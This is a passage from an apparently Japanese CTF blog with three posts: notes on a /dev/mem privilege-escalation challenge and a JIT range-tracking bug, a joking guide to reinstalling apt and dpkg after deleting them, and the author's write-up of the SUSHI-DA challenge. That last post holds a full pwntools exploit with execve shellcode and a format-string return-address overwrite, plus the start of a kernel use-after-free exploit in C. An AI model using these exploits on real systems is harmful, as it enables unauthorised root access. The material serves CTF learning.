)を書き換え、rootで任意スクリプトを動かす。
- kernellandのstackを書き換え、制御を奪う。
- kernellandのUIDの変更を行う関数のcodeを書き換え、任意プロセスがrootになれるようにする。
- kernellandのcodeを書き換えshellcodeを入れる。
- hwdbgのコードを書き換え、shellcodeを入れる。
AAWのため色々と候補はありますが、/dev/mem
への書き込みが任意に出来るだけならこのデバイスファイルの権限を変えるだけの問題でも良いはずで、おそらくsuidがhwdbgバイナリについてることが本質で、hwdbg自体のコードを書き換えるのが想定解なのかなぁと思いました。但し、ユーザランドのプロセスは実行された順番によって物理アドレスが多少変わると思うので、多少のbruteforceが必要な気がしたので、ぼくはkernellandの方で解きたいと思っていました。が、その間にmoraさんがhwdbgの書き換えによって解いたので無職になりました。
【追記 20210830】
/dev/memへのアクセスは、権限を変えたところでrootしか許可されないようにkernel側でごにょごにょしているらしいです。よって、必然的にこの問題のようにsuidをセットすることに成るっぽいです。詳細はあとで調べます。
【追記おわり】
しかし、時間がかかったのにはいくつか理由があって:
- modprobe_path
が見つからなかった。kallsyms
で見えなくて、nm
でも見えなかったため見つからなかった。多分存在はしていたと思うけど、CONFIG_KALLSYMS_ALL
が無効になっていたのか、textシンボルしか見れなかった。あれ、こういう場合ってシンボルのオフセット探す方法どうやるんでしたっけ、教えてください。いい感じの関数でbreakして頑張って探すしかない?
- modprobe_path
はconstにすることができるため、今回はその設定だと思った。こういう時に、どのシンボルを書き換えると楽にLPEできるか知らなかった。
- ktext領域への書き込みでフォルトが起きる。
【追記 20210830】
modprobe_pathは最近のkernel(5~)で行方不明になっているらしいです。案の定こいつを使う関数にbreakを貼っておいて追うのが良いらしいです。また、modprobe_pathは今回staticになっていなかったらしいです。因みに、CONFIG_KALLSYMS_ALL
が有効な場合はちゃんと/proc/kallsymsから読めることは最近のkernelでも確認済みです。デフォルトのconfigがどっかで変わったのかな。あとで調べます。
それから、フォルトについてはCONFIG_STRICT_DEVMEMというコンフィグが立っていたらしいです。この場合PCI/BIOS/data(.data,.bss)へのアクセスのみが許可され、kernellandのtextセクション等への書き込みは拒否されるようです。知りませんでした。4.xからあるらしいので、勉強不足です。
modprobe_pathについては、オフセットを調べるのは非常に簡単です。二度と忘れないようにやり方をgithubにまとめておきました。
【追記おわり】
とりわけ、ktextへの書き込みでフォルトが起こるのがよく分からずに時間を溶かしてしまいました。ぼくの認識では物理アドレスへのアクセスはページテーブルとかを介さないため、よってアクセス権限もフォルトも無縁の世界と思っていました。
/ # cat /proc/iomem 00000000-00000fff : Reserved 00001000-0009fbff : System RAM 0009fc00-0009ffff : Reserved 000a0000-000bffff : PCI Bus 0000:00 000c0000-000c99ff : Video ROM 000ca000-000cadff : Adapter ROM 000cb000-000cb5ff : Adapter ROM 000f0000-000fffff : Reserved 000f0000-000fffff : System ROM 00100000-03fdffff : System RAM 02600000-03000c36 : Kernel code 03200000-033b3fff : Kernel rodata 03400000-034e137f : Kernel data 035de000-037fffff : Kernel bss 03fe0000-03ffffff : Reserved 04000000-febfffff : PCI Bus 0000:00 fd000000-fdffffff : 0000:00:02.0 fd000000-fdffffff : bochs-drm fe000000-fe003fff : 0000:00:03.0 fe000000-fe003fff : virtio-pci-modern feb00000-feb7ffff : 0000:00:03.0 feb90000-feb90fff : 0000:00:02.0 feb90000-feb90fff : bochs-drm feb91000-feb91fff : 0000:00:03.0 fec00000-fec003ff : IOAPIC 0 fed00000-fed003ff : HPET 0 fed00000-fed003ff : PNP0103:00 fee00000-fee00fff : Local APIC fffc0000-ffffffff : Reserved 100000000-17fffffff : PCI Bus 0000:00 / # hwdbg mw 8 2600000 AAAAAAAA BUG: unable to handle page fault for address: ffff938c42600000 #PF: supervisor write access in kernel mode #PF: error_code(0x0003) - permissions violation PGD 3801067 P4D 3801067 PUD 3802067 PMD 80000000026000e1 Oops: 0003 [#1] SMP PTI CPU: 0 PID: 144 Comm: hwdbg Not tainted 5.10.7 #2 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1.1 04/01/2014 RIP: 0010:memset_orig+0x72/0xb0 Code: 47 28 48 89 47 30 48 89 47 38 48 8d 7f 40 75 d8 0f 1f 84 00 00 00 00 00 89 d1 83 e1 38 74 14 c1 e91 RSP: 0018:ffffa33780453e30 EFLAGS: 00000246 RAX: 0000000000000000 RBX: 0000000000000000 RCX: 0000000000000000 RDX: 0000000000000008 RSI: 0000000000000000 RDI: ffff938c42600000 RBP: ffffa33780453e50 R08: 4141414141414141 R09: 0000000000000000 R10: ffff938c42600000 R11: 0000000000000000 R12: ffff938c42600000 R13: 0000000000000008 R14: ffff938c41e92100 R15: 0000000000000008 FS: 00000000004076d8(0000) GS:ffff938c42400000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: ffff938c42600000 CR3: 0000000001e7a000 CR4: 00000000003006f0 Call Trace: ? _copy_from_user+0x70/0x80 write_mem+0x96/0x140 vfs_write+0xc2/0x250 ksys_write+0x53/0xd0 __x64_sys_write+0x15/0x20 do_syscall_64+0x38/0x50 entry_SYSCALL_64_after_hwframe+0x44/0xa9 RIP: 0033:0x403744 Code: 07 48 89 47 08 48 29 d1 48 01 d7 eb df f3 0f 1e fa 48 89 f8 4d 89 c2 48 89 f7 4d 89 c8 48 89 d6 4c0 RSP: 002b:00007ffec3e615a8 EFLAGS: 00000246 ORIG_RAX: 0000000000000001 RAX: ffffffffffffffda RBX: 000000000040136a RCX: 0000000000403744 RDX: 0000000000000008 RSI: 00007ffec3e61600 RDI: 0000000000000003 RBP: 00007ffec3e62610 R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000246 R12: 00007ffec3e62688 R13: 00007ffec3e626b0 R14: 0000000000000000 R15: 0000000000000000 Modules linked in: CR2: ffff938c42600000 ---[ end trace afbab88ef6185423 ]--- RIP: 0010:memset_orig+0x72/0xb0 Code: 47 28 48 89 47 30 48 89 47 38 48 8d 7f 40 75 d8 0f 1f 84 00 00 00 00 00 89 d1 83 e1 38 74 14 c1 e91 RSP: 0018:ffffa33780453e30 EFLAGS: 00000246 RAX: 0000000000000000 RBX: 0000000000000000 RCX: 0000000000000000 RDX: 0000000000000008 RSI: 0000000000000000 RDI: ffff938c42600000 RBP: ffffa33780453e50 R08: 4141414141414141 R09: 0000000000000000 R10: ffff938c42600000 R11: 0000000000000000 R12: ffff938c42600000 R13: 0000000000000008 R14: ffff938c41e92100 R15: 0000000000000008 FS: 00000000004076d8(0000) GS:ffff938c42400000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: ffff938c42600000 CR3: 0000000001e7a000 CR4: 00000000003006f0 Kernel panic - not syncing: Fatal exception Kernel Offset: 0xa800000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbffffff)
これを見ると、そもそもに書き込みたいところ以外でフォルトが起きていて、意図しないマッピングになっている感じがします(というか、物理に直接書いてるのにマッピングって何よ)。
自前kernelでデバッグしてみようとしたところ、以下の感じになりました。
/ # cat /proc/iomem 00000000-00000fff : Reserved 00001000-0009fbff : System RAM 0009fc00-0009ffff : Reserved 000a0000-000bffff : PCI Bus 0000:00 000c0000-000c99ff : Video ROM 000ca000-000cadff : Adapter ROM 000cb000-000cb5ff : Adapter ROM 000f0000-000fffff : Reserved 000f0000-000fffff : System ROM 00100000-03fdffff : System RAM 01000000-01e037d6 : Kernel code 02000000-02378fff : Kernel rodata 02400000-026b807f : Kernel data 02c67000-02dfffff : Kernel bss 03fe0000-03ffffff : Reserved 04000000-febfffff : PCI Bus 0000:00 fd000000-fdffffff : 0000:00:02.0 fe000000-fe003fff : 0000:00:03.0 feb00000-feb7ffff : 0000:00:03.0 feb90000-feb90fff : 0000:00:02.0 feb91000-feb91fff : 0000:00:03.0 fec00000-fec003ff : IOAPIC 0 fed00000-fed003ff : HPET 0 fed00000-fed003ff : PNP0103:00 fee00000-fee00fff : Local APIC fffc0000-ffffffff : Reserved 100000000-17fffffff : PCI Bus 0000:00 / # hwdbg mw 8 1000000 AAAAAAAA / # QEMU 4.2.1 monitor - type 'help' for more information (qemu) xp/gx 0x1000000 0000000001000000: 0x4801403f51258d48
自前kernelだとフォルトこそ置きていませんが、最後のQEMU monitorの結果からもわかるように、書き込みがおきていません。kernelを読んでみます。/dev/mem
へのwriteは、write_mem()@/drivers/char/mem.c
が呼ばれ、書き込みのチェックが行われます。いくら/dev/mem
への書き込みとはいえ、本当にどこにでも書き込めるわけではなく、ある程度のチェックは行われるようです。この中でpage_is_allowed()
からdevmem_is_allowed()@/arch/x86/mm/init.c
が呼ばれるのですが、なんかこいつがcodeセクションへのwriteを拒否してきます。因みにdataセクションの場合でも同じでした。
理由は今のところ分かっていませんが、あとでもうちょっと深堀してなんか書きます。
というわけで、配布kernelだとフォルトが起きて、かつ自前だとハンドラ内でアクセスが拒否されるため、kernelコードの書き換えができませんでした。理由が分かってないのでちゃんと調べたいですね。多分すごく初歩的な勘違いをしているような気がするんですが。
まぁ何はともあれmoraさんが解いてくれたのでOKです。
author's writeupによると、core_pattern
を書き換えてcrashさせることでmodprob_path
と同様にいけるらしいです。知らなかったので勉強になりました。ところでこいつのオフセットを楽に知るにはどうしたら良いんでしたっけ。
2: JIT4B
ある関数において変数の値が追跡されるため、ごまかしてOOBアクセスさせたら勝ちの問題です。ebpfのverifierみたいなだなぁと思いました。ebpfだとシフトやand/xor等にこれまでバグが見つかっていましたが、今回は四則演算とmin/maxのみの演算になっているので関係なさそうです。1個ずつabstract.hpp
のrange処理を見ていき、おおよそバグがないように見えましたが、除算のところだけ気になりました。
/* Abstract divition */ Range& operator/=(const int& rhs) { if (rhs < 0) *this *= -1; // This swaps min and max properly // There's no function named "__builtin_sdiv_overflow" // (Integer overflow never happens by integer division!) min /= abs(rhs); max /= abs(rhs); return *this; }
ぼくはrangeの下限が負に最大だとrangeを入れ替えた時に上限でoverflowするんじゃないかと疑ってしまいましたが、除算内で呼ばれる掛け算ではちゃんとoverflowの処理がされており、ちゃんと追跡不能でマークされていました。ここらへんでmoraさんが問題を見始めたんですが、一瞬でabs内では同様のoverflowが実現できると気づいたため、瞬殺されました。range内にだけ(つまり被除数にだけ)気を取られていて、除数の方でoverflowが起きることに気づかなかったのが反省点です。因みに、コメントを大量に入れているところはCTFの文脈において本当にバグがないからココはあんまり見ても意味ないことを伝えている場合と、ただのフリでコメントがあるところにバグがある場合があるのですが、今回は後者寄りでした(厳密には同じところではないけど同じ関数内)。
それにしても、2ヶ月ぶりのCTFで、moraさんが問題を解くのも久々に見たんですが、異常に早いですね。まじで無職で、あまりにもお腹が減ったので皆が取っておいたwarmupを貰ってしまいました。
3: アウトロ
ぼくは何もしていませんが、他の人が強かったためTSGは3位だったみたいです。ところでチーム登録をする時に間違えてぼく個人のG-mailで登録してしまったため、swag関係のメールが個人宛のメールに来てしまいます。ptrさんからメールが来るなんてきゅんきゅんしちゃいますよね。頑張って好きな犬種は何か聞き出そうと思います。因みにぼくは柴とスピッツとハスキーです。猫よりも犬派です。
【追記 20210830】
好きな犬を聞き出しました。シベリアンハスキー、アラスカンマラミュート、ジャーマン・シェパード、柴犬、秋田犬、ウルフハイブリッド、コーギーだそうです。大型犬が多いですね。ぼくも大型犬が好きです。業界のねこ好きをなんとか是正していきたいですね。
4: 参考
1: パン人間
https://twitter.com/moratorium08/status/992973579108081666?s=20
2: author's writeup
https://ptr-yudai.hatenablog.com/entry/2021/08/30/000015
3: author's comment
https://twitter.com/pwnyaa/status/1432216513633656835?s=20
続く...
【雑談 10.0】aptとdpkgを両方消したときにやること
注意: 本記事に書いてあることを実際に試して環境がぶっ壊れてもなんの責任も負いませんし、サンダルで散歩した時に親指を怪我したとしてもなんの責任も取りません。
大学院の募集が始まり研究計画書が書けないということでイライラすることはよくあると思います。
イライラしたときに、aptのデバッグをするためにソースからビルドして、それを間違えて環境にインストールしてしまうこともよくあると思います。
そうすると、おそらく以下のように/etc/apt
ではなく/usr/local/etc/apt
を見に行くようになってしまい、余計イライラが蓄積していきます。
W: Unable to read /usr/local/etc/apt/apt.conf.d/ - DirectoryExists (2: No such file or directory) W: Unable to read /usr/local/etc/apt/sources.list.d/ - DirectoryExists (2: No such file or directory) W: Unable to read /usr/local/etc/apt/sources.list - RealFileExists (2: No such file or directory) W: Unable to read /usr/local/etc/apt/preferences.d/ - DirectoryExists (2: No such file or directory)
apt自体は異常な量のconfig名前空間を持っており、それを指定することで一時的にetcディレクトリを指定することはできます。例えばsudo apt -oDir::Etc=/etc/apt install hoge
とすることでetcを指定することができます。それにしたってinstall時に以下のようなエラーが出ます。
After this operation, 120 MB of additional disk space will be used. Do you want to continue? [Y/n] Y E: Cannot get debconf version. Is debconf installed? debconf: apt-extracttemplates failed: No such file or directory Extracting templates from packages: 30%E: Cannot get debconf version. Is debconf installed? debconf: apt-extracttemplates failed: No such file or directory Extracting templates from packages: 61%E: Cannot get debconf version. Is debconf installed? debconf: apt-extracttemplates failed: No such file or directory Extracting templates from packages: 91%E: Cannot get debconf version. Is debconf installed? debconf: apt-extracttemplates failed: No such file or directory Extracting templates from packages: 100% Could not exec dpkg! E: Sub-process /usr/local/bin/dpkg returned an error code (100)
ここまで来ると、およそ大抵の人はイライラが蓄積し、aptをリインストールすることになると思います。しかし、aptだけリインストールしても上の症状は全く変わりません。
そうするとほとんどの人はそのイライラから以下のようなコマンドを打つことになると思います。
wataru@skbpc:~: 20:43:34 Thu Jun 03 $ sudo rm /usr/bin/dpkg wataru@skbpc:~: 20:43:50 Thu Jun 03 $ sudo rm /usr/bin/apt
ここで、1分くらい絶望に暮れましょう。
dpkgのリインストール
多分、UbuntuのISOイメージに入ってるaptとdpkgを使ってやるのが最もクリーンだと思いますが、以下ではちょっとdirtyかもしれない方法を使います。ISO入ったCD-ROMって、なくしがちだもんね。
やることは、aptがやってくれることを手動でやるだけです。
まずはIndexファイルを取ってきます。
$ wget http://security.ubuntu.com/ubuntu/dists/focal/main/binary-adm64/Packages.gz --2021-06-03 21:39:20-- http://security.ubuntu.com/ubuntu/dists/focal/main/binary-adm64/Packages.gz Resolving security.ubuntu.com (security.ubuntu.com)... 2001:67c:1562::15, 2001:67c:1562::18, 91.189.91.39, ... Connecting to security.ubuntu.com (security.ubuntu.com)|2001:67c:1562::15|:80... connected. HTTP request sent, awaiting response... 404 Not Found 2021-06-03 21:39:21 ERROR 404: Not Found. $ wget http://security.ubuntu.com/ubuntu/dists/focal/main/binary-amd64/Packages.gz --2021-06-03 21:39:34-- http://security.ubuntu.com/ubuntu/dists/focal/main/binary-amd64/Packages.gz Resolving security.ubuntu.com (security.ubuntu.com)... 2001:67c:1562::15, 2001:67c:1562::18, 91.189.91.39, ... Connecting to security.ubuntu.com (security.ubuntu.com)|2001:67c:1562::15|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 1274738 (1.2M) [application/x-gzip] Saving to: ‘Packages.gz’ Packages.gz 100%[==========================>] 1.21M 916KB/s in 1.4s 2021-06-03 21:39:36 (916 KB/s) - ‘Packages.gz’ saved [1274738/1274738] $ gunzip ./Packages.gz
ここで一回binary-amd64
をbinary-adm64
とtypoすることが重要です。distroとarchとcomponentは自分が使っているものに合わせてください。そしたら、そのIndexファイルを見てdpkgを探します。
Package: dpkg Architecture: amd64 Version: 1.19.7ubuntu3 Multi-Arch: foreign Priority: required Essential: yes Section: admin Origin: Ubuntu Maintainer: Ubuntu Developers <ubuntu-devel-discuss@lists.ubuntu.com> Original-Maintainer: Dpkg Developers <debian-dpkg@lists.debian.org> Bugs: https://bugs.launchpad.net/ubuntu/+filebug Installed-Size: 6740 Pre-Depends: libbz2-1.0, libc6 (>= 2.15), liblzma5 (>= 5.2.2), libselinux1 (>= 2.3), libzstd1 (>= 1.3.2), zlib1g (>= 1:1.1.4) Depends: tar (>= 1.28-1) Suggests: apt, debsig-verify Breaks: acidbase (<= 1.4.5-4), amule (<< 2.3.1+git1a369e47-3), beep (<< 1.3-4), im (<< 1:151-4), libapt-pkg5.0 (<< 1.7~b), libdpkg-perl (<< 1.18.11), lsb-base (<< 10.2019031300), netselect (<< 0.3.ds1-27), pconsole (<< 1.0-12), phpgacl (<< 3.3.7-7.3), pure-ftpd (<< 1.0.43-1), systemtap (<< 2.8-1), terminatorx (<< 4.0.1-1), xvt (<= 2.1-20.1) Filename: pool/main/d/dpkg/dpkg_1.19.7ubuntu3_amd64.deb Size: 1127856 MD5sum: f595c79475d3c2ac808eaac389071c35 SHA1: b9cb6b292865ec85bca1021085bc0e81e160e676 SHA256: 76132be95c7199f902767fb329e0f33210ac5b5b1816746543bc75f795d9a37c Homepage: https://wiki.debian.org/Teams/Dpkg Description: Debian package management system Task: minimal Description-md5: 2f156c6a30cc39895ad3487111e8c190
Filename
を見ると、バイナリの場所が書いてあるのでそれを取ってきます。
$ wget http://security.ubuntu.com/ubuntu/pool/main/d/dpkg/dpkg_1.19.7ubuntu3_amd64.deb
dpkgがないため、バイナリなくてやばいなり、という渾身のギャグを一発かました後、直接extractしてバイナリを取り出します。
mkdir nirugiri && cd nirugiri ar x ../dpkg_1.19.7ubuntu3_amd64.deb unxz ./data.tar.xz && tar xvf ./data.tar sudo cp ./usr/bin/dpkg /usr/bin/
これでdpkgのリインストールは終わり。
aptのリインストール
apt自体は、上の方法で同様にやればOK。しかも今回はdpkgを使えます。ありがて〜〜〜。
aptのインストールが終わったら念の為dpkgをaptからリインストールするといいって実家を出る時にばあちゃんが言ってました。
古いaptを消す
これでやっと振り出しに戻りますが、依然aptは/usr/local/etc/apt
を見続けます。ストーカー並みに見続けます。
なので、straceして何が悪さをしているかを見ます。
openat(AT_FDCWD, "/usr/local/lib/libapt-private.so.0.0", O_RDONLY|O_CLOEXEC) = 3
この辺ですね。抹消します。
sudo mv /usr/local/lib/libapt-private.so.0.0 /usr/local/lib/libapt-private.so.0.0.kasu sudo mv /usr/local/lib/libapt-pkg.so /usr/local/lib/libapt-pkg.so.kasu
恨みを込めて、拡張子はkasuにしておくのがおすすめです。
アウトロ
いかがだったでしょうか?
カス記事を書くのはいつだって楽しいし、晩御飯はいつ食べても美味しいことが知られています。
参考
1: ニルギリ
続く...
【pwn 53.0】TSGLIVE!6 CTF - SUSHI-DA (kernel exploit)
BOF / FSA / seq_operations / kUAF
- 1: イントロ
- 2: 問題概要
- 3: SUSHI-DA1: logic bypass
- 4: SUSHI-DA2: user shell
- 5: SUSHI-DA3: root shell
- 6: full exploit
- 7: 感想
- 8: 参考
1: イントロ
いつぞや開催されたTSG LIVE!6 CTF
。120分という超短期間のCTF。pwnを作ったのでその振り返りとliveの感想。
問題コード・ファイル・exploit等全てのコードは以下のリポジトリにあります。
2: 問題概要
Level 1~3で構成される問題。どのレベルもLKMを利用したプログラムを共通して使っているが、Lv1/2はLKMを使わなくても(つまり、QEMU上で走らせなくても)解けるようになっている。
短期間CTFであり、プレイヤの画面が公開されるという性質上、放送映えするような問題にしたかった。pwnの楽しいところはステップを踏んでexploitしていくところだと思っているため、Level順にプログラムのロジックバイパス・user shellの奪取・root shellの奪取という流れになっている。正直Level3は特定の人物を狙い撃ちした問題であり、早解きしてギリギリ120分でいけるかなぁ(願望)という難易度になっている。
3: SUSHI-DA1: logic bypass
$ file ./client ./client: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=982caef5973f267fa669d3922c57233063f709d2, for GNU/Linux 3.2.0, not stripped $ checksec --file ./client [*] '/home/wataru/test/sandbox/client' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
冷え防止の問題。テーマは寿司打というタイピングゲーム。
struct { unsigned long start, result; char type[MAX_LENGTH + 0x20]; int pro; } info = {0}; (snipped...) info.result = time(NULL) - info.start; puts("\n[ENTER] again to finish!"); readn(info.type, 0x200); printf("\n🎉🎉🎉Congrats! You typed in %lu secs!🎉🎉🎉\n", info.result); register_record(info.result); if(info.pro != 0) system("cat flag1");
クリアした後にENTERを受け付ける箇所があるが、ここでバッファサイズの200+の代わりに0x200を受け付けてしまっているためstruct info
内でBOFが発生しinfo.pro
を書き換えられる。
4: SUSHI-DA2: user shell
while(success < 3){ unsigned question = rand() % 4; if(wordlist[question][0] == '\x00') continue; printf("[TYPE]\n"); printf(wordlist[question]); puts(""); readn(info.type, 200); if(strncmp(wordlist[question], info.type, strlen(wordlist[question])) != 0) warn_ret("🙅🙅 ACCURACY SHOULD BE MORE IMPORTANT THAN SPEED."); ++success; } (snipped...) void add_phrase(void){ char *buf = malloc(MAX_LENGTH + 0x20); printf("[NEW PHRASE] "); readn(buf, MAX_LENGTH - 1); for(int ix=0; ix!=MAX_LENGTH-1; ++ix){ if(buf[ix] == '\xa') break; memcpy(wordlist[3]+ix, buf+ix, 1); } }
タイピングのお題を1つだけカスタムできるが、お題の表示にFSBがある。これでstackのleakができる。
この後の方針は大きく分けて2つある。1つ目は、stackがRWXになっているためstackにshellcodeを積んだ上でRAをFSBで書き換えてshellを取る方法。この場合、FSAの入力と発火するポイントが異なるため、FSAで必要な準備(書き換え対象のRAがあるアドレスをstackに積む必要がある)はmain関数のstackに積んでおくことになる。また、発火に時間差があるという都合上、単純にpwntoolsを使うだけでは解くことができない。
int main(int argc, char *argv[]){ char buf[0x100]; srand(time(NULL)); setup(); while(1==1){ printf("\n\n$ "); if (readn(buf, 100) <= 0) die("[ERROR] readn");
2つ目は、canaryだけリークしてあとは通常のBOFでROPするという方法。こっちのほうが多分楽。正直、canaryはleakできない感じの設定にしても良かった(bufサイズを調整)が、200と0x200を打ち間違えたという雰囲気を出したかった都合上、canaryのleak+ROPまでできるくらいの設定になった。
尚、最後に載せているfull exploitではFSBだけで解いている。
5: SUSHI-DA3: root shell
ここまででuser shellがとれているため、今度はLKMのバグをついてrootをとる。バグは以下。
long clear_old_records(void) { int ix; char tmp[5] = {0}; long date; for(ix=0; ix!=SUSHI_RECORD_MAX; ++ix){ if(records[ix] == NULL) continue; strncpy(tmp, records[ix]->date, 4); if(kstrtol(tmp, 10, &date) != 0 || date <= 1990) kfree(records[ix]); } return 0; }
タイピングゲームの記録をLKMを使って記録しているのだが、古いレコード(1990年以前)と不正なレコードを削除する関数においてkfreeしたあとの値をクリアしていない。これによりkUAFが生じる。
SMEP/SMAP無効KAISER無効であるため、あとは割と任意のことができる。editがないことやkmallocではなくkzallocが使われているのがちょっと嫌な気もするが、実際はdouble freeもあるためseq_operations
でleakしたあとに再びそれをrecordとして利用することでRIPを取ることができる。
6: full exploit
#!/usr/bin/python2 # -*- coding: utf-8 -*- # coding: 4 spaces # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from pwn import * import pwnlib import sys, os def handle_pow(r): print(r.recvuntil(b'python3 ')) print(r.recvuntil(b' solve ')) challenge = r.recvline().decode('ascii').strip() p = pwnlib.tubes.process.process(['kctf_bypass_pow', challenge]) solution = p.readall().strip() r.sendline(solution) print(r.recvuntil(b'Correct\n')) hosts = ("sushida.pwn.hakatashi.com","localhost","localhost") ports = (1337,12300,23947) rhp1 = {'host':hosts[0],'port':ports[0]} #for actual server rhp2 = {'host':hosts[1],'port':ports[1]} #for localhost rhp3 = {'host':hosts[2],'port':ports[2]} #for localhost running on docker context(os='linux',arch='amd64') #binf = ELF(FILENAME) #libc = ELF(LIBCNAME) if LIBCNAME!="" else None ## utilities ######################################### def hoge(command): global c c.recvuntil("$ ") c.sendline(command) def typin(): c.recvuntil("[TYPE]") c.recvline() c.sendline(c.recvline().rstrip()) def play_clear(avoid_nirugiri=True): global c hoge("play") for _ in range(3): typin() def custom(phrase): global c hoge("custom") c.recvuntil("[NEW PHRASE] ") c.sendline(phrase) def custom_wait_NIRUGIRI(pay, append_nirugiri=True): global c print("[.] waiting luck...") res = "" found = False if append_nirugiri: custom("NIRUGIRI" + pay) else: custom(pay) while True: hoge("play") for _ in range(3): c.recvuntil("[TYPE]") c.recvline() msg = c.recvline().rstrip() if "NIRUGIRI" in msg: found = True res = msg if append_nirugiri: c.sendline("NIRUGIRI"+pay) else: c.sendline(pay) else: c.sendline(msg) c.recvuntil("ENTER") c.sendline("") if found: break return res[len("NIRUGIRI"):] def inject_wait_NIRUGIRI(pay): global c print "[.] injecting and waiting luck", res = "" found = False aborted = False custom(pay) while True: hoge("play") for _ in range(3): c.recvuntil("[TYPE]") c.recvline() msg = c.recvline().rstrip() if "NIRUGIRI" in msg: print("\n[!] FOUND") c.sendline("hey") return else: print ".", c.sendline(msg) if aborted: aborted = False continue c.sendline("") ## exploit ########################################### def exploit(): global c global kctf MAX_TYPE = 200 ############################## # LEVEL 1 # ############################## # overwrite info.pro play_clear() c.recvuntil("ENTER") c.sendline("A"*0xf8) c.recvuntil("typed") c.recvline() flag1 = c.recvline().rstrip() if "TSGLIVE" not in flag1: exit(1) print("\n[!] Got a flag1 🎉🎉🎉 " + flag1) ############################### ## LEVEL 2 # ############################### SC_START = 0x50 pay = b"" # leak stack pay += "%42$p" leaked = int(custom_wait_NIRUGIRI(pay), 16) ra_play_game = leaked - 0x128 buf_top = leaked - 0x230 target_addr = ra_play_game + 0x38 print("[+] leaked stack: " + hex(leaked)) print("[+] ra_play_game: " + hex(ra_play_game)) print("[+] buf_top: " + hex(buf_top)) pay_index = 47 # calc v0 = target_addr & 0xFFFF v1 = (target_addr >> 16) & 0xFFFF v2 = (target_addr >> 32) & 0xFFFF assert(v0>8 and v1>8 and v2>8) vs = sorted([[0,v0],[1,v1],[2,v2]], key= lambda l: l[1]) # place addr & sc sc = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" c.recvuntil("$ ") pay = b"" pay += "A"*8 pay += p64(ra_play_game) + p64(ra_play_game+2) + p64(ra_play_game+4) pay += sc assert(len(pay) <= 0x50) assert("\x0a" not in pay) c.sendline(pay) # overwrite return-addr with FSA pay = b"" pay += "NIRUGIRI" pay += "%{}c".format(vs[0][1]-8) pay += "%{}$hn".format(pay_index + vs[0][0]) pay += "%{}c".format(vs[1][1] - vs[0][1]) pay += "%{}$hn".format(pay_index + vs[1][0]) pay += "%{}c".format(vs[2][1] - vs[1][1]) pay += "%{}$hn".format(pay_index + vs[2][0]) assert("\x0a" not in pay) assert(len(pay) < MAX_TYPE) print("[+] shellcode placed @ " + hex(target_addr)) # nirugiri inject_wait_NIRUGIRI(pay) # if NIRUGIRI comes first, it fails c.sendlineafter("/home/user $", "cat ./flag2") flag2 = c.recvline() if "TSGLIVE" not in flag2: exit(2) print("\n[!] Got a flag2 🎉🎉🎉 " + flag2) ############################## # LEVEL 3 # ############################## # pwning kernel... c.recvuntil("/home/user") print("[!] pwning kernel...") if kctf: with open("/home/user/exploit.gz.b64", 'r') as f: binary = f.read() else: with open("./exploit.gz.b64", 'r') as f: binary = f.read() progress = 0 pp = 0 N = 0x300 total = len(binary) print("[+] sending base64ed exploit (total: {})...".format(hex(len(binary)))) for s in [binary[i: i+N] for i in range(0, len(binary), N)]: c.sendlineafter('$', 'echo -n "{}" >> exploit.gz.b64'.format(s)) # don't forget -n progress += N if (float(progress) / float(total)) > pp: pp += 0.1 print("[.] sent {} bytes [{} %]".format(hex(progress), float(progress)*100.0/float(total))) c.sendlineafter('$', 'base64 -d exploit.gz.b64 > exploit.gz') c.sendlineafter('$', 'gunzip ./exploit.gz') c.sendlineafter('$', 'chmod +x ./exploit') c.sendlineafter('$', '/home/user/exploit') c.recvuntil("# ") c.sendline("cat flag3") flag3 = c.recvline() if "TSGLIVE" not in flag3: exit(3) print("\n[!] Got a flag3 🎉🎉🎉 " + flag3) ## main ############################################## if __name__ == "__main__": global c global kctf kctf = False if len(sys.argv)>1: if sys.argv[1][0]=="d": cmd = """ set follow-fork-mode parent """ c = gdb.debug(FILENAME,cmd) elif sys.argv[1][0]=="r": c = remote(rhp1["host"],rhp1["port"]) elif sys.argv[1][0]=="v": c = remote(rhp3["host"],rhp3["port"]) elif sys.argv[1][0]=="k": c = remote("127.0.0.1", 1337) # kctf XXX kctf = True print("[+] kctf healthcheck mode") print(c.recvuntil("== proof-of-work: ")) if c.recvline().startswith(b'enabled'): handle_pow(c) else: c = remote(rhp2['host'],rhp2['port']) try: exploit() except: print("\n") print(sys.exc_info()[0], sys.exc_info()[1]) print("\n[?] exploit failed... try again...") exit(4) if kctf: print("\n[+] healthcheck success!") exit(0) else: c.interactive()
kernel.
#define _GNU_SOURCE #include <string.h> #include <stdio.h> #include <fcntl.h> #include <stdint.h> #include <unistd.h> #include <assert.h> #include <stdlib.h> #include <signal.h> #include <poll.h> #include <pthread.h> #include <err.h> #include <errno.h> #include <sched.h> #include <linux/bpf.h> #include <linux/filter.h> #include <linux/userfaultfd.h> #include <linux/prctl.h> #include <sys/syscall.h> #include <sys/ipc.h> #include <sys/msg.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/xattr.h> #include <sys/socket.h> #include <sys/uio.h> #include <sys/shm.h> #include "../include/sushi-da.h" // commands #define DEV_PATH "/dev/sushi-da" // the path the device is placed // constants #define PAGE 0x1000 #define FAULT_ADDR 0xdead0000 #define FAULT_OFFSET PAGE #define MMAP_SIZE 4*PAGE #define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET // (END constants) // globals // (END 